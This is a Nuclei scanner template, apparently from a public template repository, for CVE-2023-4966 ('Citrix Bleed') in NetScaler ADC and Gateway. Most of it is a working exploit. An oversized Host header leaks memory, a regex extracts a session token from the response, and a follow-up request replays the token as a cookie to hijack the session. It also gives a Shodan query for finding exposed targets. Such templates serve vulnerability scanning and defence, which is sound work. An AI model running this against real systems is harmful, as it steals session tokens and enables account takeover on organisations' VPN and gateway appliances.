72 lines
2.3 KiB
YAML
72 lines
2.3 KiB
YAML
id: CVE-2023-4966
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info:
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name: Citrix Bleed - Leaking Session Tokens
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author: DhiyaneshDK
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severity: high
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description: |
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Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
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reference:
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- https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
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- https://github.com/Chocapikk/CVE-2023-4966
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- https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
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- https://x.com/assetnote/status/1716757539323564196?s=20
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- https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2023-4966
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cwe-id: CWE-119,NVD-CWE-noinfo
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epss-score: 0.93124
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epss-percentile: 0.98877
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cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
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metadata:
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verified: "true"
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max-request: 2
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vendor: citrix
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product: netscaler_application_delivery_controller
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shodan-query: title:"Citrix Gateway" || title:"Netscaler Gateway"
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tags: cve,cve2023,citrix,adc,info-leak,kev,exposure
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variables:
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payload: '{{repeat("a", 24812)}}'
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str: "{{to_lower(rand_text_alpha(4))}}"
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http:
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- raw:
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- |+
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GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
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{{str}}: {{Hostname}}
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Host: {{payload}}
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- |+
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POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
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Host: {{Hostname}}
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Cookie: NSC_AAAC={{session}}
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unsafe: true
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extractors:
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- type: regex
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name: session
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part: body_1
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group: 1
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regex:
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- '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
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internal: true
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- type: regex
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part: body_2
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regex:
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- '([a-z0-9._]+)'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'NSC_AAAC='
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- 'HTTP/1.1'
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- type: word
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words:
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- '{"issuer":'
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# digest: 490a004630440220620d8681e7fcf862767d15ecc27bcdedb99c1f80425bc44176aefdf0f47e9c52022054c7b1764ce8cf3b503ace8ee80fa09fa3acabc42a4203e0270f73593ee97fea:922c64590222798bb761d5b6d8e72950 |